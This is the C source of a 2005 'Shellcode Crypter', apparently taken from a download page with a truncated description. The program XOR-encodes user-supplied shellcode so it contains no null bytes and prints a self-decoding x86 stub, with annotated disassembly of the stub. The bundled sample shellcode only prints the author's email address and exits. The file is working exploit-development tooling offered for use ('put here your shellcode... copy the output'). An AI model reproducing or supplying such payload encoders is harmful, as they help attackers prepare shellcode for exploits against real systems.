shellcode.c

Shellcode加密程序C源代码 Shellcode Crypter is a small C program that allows users to encrypt their Windows

/*
* Shellcode Crypter v0.2 (Linux _ Windows)
*   Coded by Shen139 31-07-2005
*   shen139 (at_) eviltime [.dot.] com
*
* ...
* //PUT HERE YOUR SHELLCODE
* char shellcode[]="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x6a\x0a\x68\x2e\x63\x6f\x6d\x68\x74\x69\x6d"
* "\x65\x68\x65\x76\x69\x6c\x68\x31\x33\x39\x40\x68\x73\x68\x65\x6e\x89\xe1\xb2\x15\xb0\x04\xcd\x80\x31"
* "\xc0\x31\xdb\xb0\x01\xcd\x80\xc3\x90\x90";
* ...
* 
* Put tHERE your shellcode, then compile ("gcc sc.c -o sc") and run ("./sc") the program and copy the output!
*
* -[...You won't worry anymore for 0x00 in your shellcode...]-
*
* Enjoy :D
*
*/

//PUT HERE YOUR SHELLCODE
char shellcode[]="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x6a\x0a\x68\x2e\x63\x6f\x6d\x68\x74\x69\x6d"
"\x65\x68\x65\x76\x69\x6c\x68\x31\x33\x39\x40\x68\x73\x68\x65\x6e\x89\xe1\xb2\x15\xb0\x04\xcd\x80\x31"
"\xc0\x31\xdb\xb0\x01\xcd\x80\xc3\x90\x90";


//Set SHELLCODE_LENGHT with 0 if your shellcode does not contain \x00
// otherwise set it with the length of the shellcode
#define SHELLCODE_LENGHT 0

//UnComment this line and set the value used to xor the shellcode if you want to use an hard-coded one
// otherwise it will be calculated dynamically in manner that while xoring it doesn't generate 0x00
//#define HARDCODEDXOR     139


//Crypted_shellcode_length - Original_shellcode_length = 25 bytes
//MAGIC_SUFFIX_PARTa + MAGIC_SUFFIX_PARTb + MAGIC_SUFFIX_PARTc + xor_value + shellcode_length_value = 25 bytes
#define CIPHERLENGTH     25

#include <stdio.h>
#include <string.h>
#include <stdlib.h>


#define MAGIC_SUFFIX_PARTa   "\\x33\\xC9\\xEB\\x02\\xEB\\x05\\xE8\\xF9\\xFF\\xFF\\xFF\\x58\\x83\\xC0\\x0E\\x80\\x30"
/* AT&T
0x08049560 <shellcode+0>:     xor   %ecx,%ecx
0x08049562 <shellcode+2>:     jmp   0x8049566 <shellcode+6>
0x08049564 <shellcode+4>:     jmp   0x804956b <shellcode+11>
0x08049566 <shellcode+6>:     call   0x8049564 <shellcode+4>
0x0804956b <shellcode+11>:     pop   %eax
0x0804956c <shellcode+12>:     add   $0xe,%eax
0x0804956f <shellcode+15>:     xorb   Xor ,(%eax)
*/
// + XOR
#define MAGIC_SUFFIX_PARTb   "\\x40\\x41\\x83\\xF9"
/*
0x08049572 <shellcode+18>:     inc   %eax
0x08049573 <shellcode+19>:     inc   %ecx
0x08049574 <shellcode+20>:     cmp   shellcode_length ,%ecx
*/
// + Shellcode_length
#define MAGIC_SUFFIX_PARTc   "\\x75\\xF6"
/*
0x08049577 <shellcode+23>:     jne   0x804956f <shellcode+15>
*/

/* intel *
00401026 33 C9           xor       ecx, ecx
00401028 EB 02           jmp       label1 (0040102c) // ------->----+
label2:                                   //         |
0040102A EB 05           jmp       label3 (00401031) //   v <-+     v
label1:                                   //   |   |     |
0040102C E8 F9 FF FF FF     call     label2 (0040102a) //   |   ^ <---+
label3:                                   //   |
00401031 58             pop       eax           // <-+
00401032 83 C0 0E         add       eax,0Eh
label3:
00401035 80 30 X         xor       byte ptr [eax], Xor   //<---+
00401038 40             inc       eax             //   |
00401039 41             inc       ecx             //   ^
0040103A 83 F9 Y         cmp       ecx,shellcode_length //   |
0040103D 75 F6           jne       00401035         // ---+
                    .........
                    .........                 // Crypted shellcode
                    .........
*/


int main()
{
char*flShellcode=(char*)malloc(sizeof(shellcode)+4);
int i,b,SLLen,xor,found;

printf("Shellcode Crypter2\n Coded by Shen139\n shen139 (at) eviltime [dot] com\n\n\n");



SLLen=(SHELLCODE_LENGHT==0)?strlen(shellcode):SHELLCODE_LENGHT;

memcpy(flShellcode,shellcode,SLLen);

#ifndef HARDCODEDXOR
for(xor=1;xor<=0xFF;xor++)
{
  found=1;
  for(b=0;b<SLLen;b++)
  {
    if(flShellcode[b]==xor)
    {
    found=0;
    break;
    }
  }
  if(found==1)
    break;
}
#else
xor=HARDCODEDXOR;
#endif

printf(" - Xoring with 0x%Xh (%dd)\n\n\n - Shellcode:\n\n",xor,xor);

printf(MAGIC_SUFFIX_PARTa);

printf("\\x%X",xor);

printf(MAGIC_SUFFIX_PARTb);

printf("\\x%X",SLLen);

printf(MAGIC_SUFFIX_PARTc);



for(i=0;i<SLLen;i++)
  printf("\\x%X",(unsigned char)shellcode[i]^xor);


printf("\n\n");

printf(" + Shellcode length:\n - Original: %i bytes\n - Crypted : %i bytes\n\n",SLLen,SLLen+CIPHERLENGTH);

return 0;
}

/*EOF*/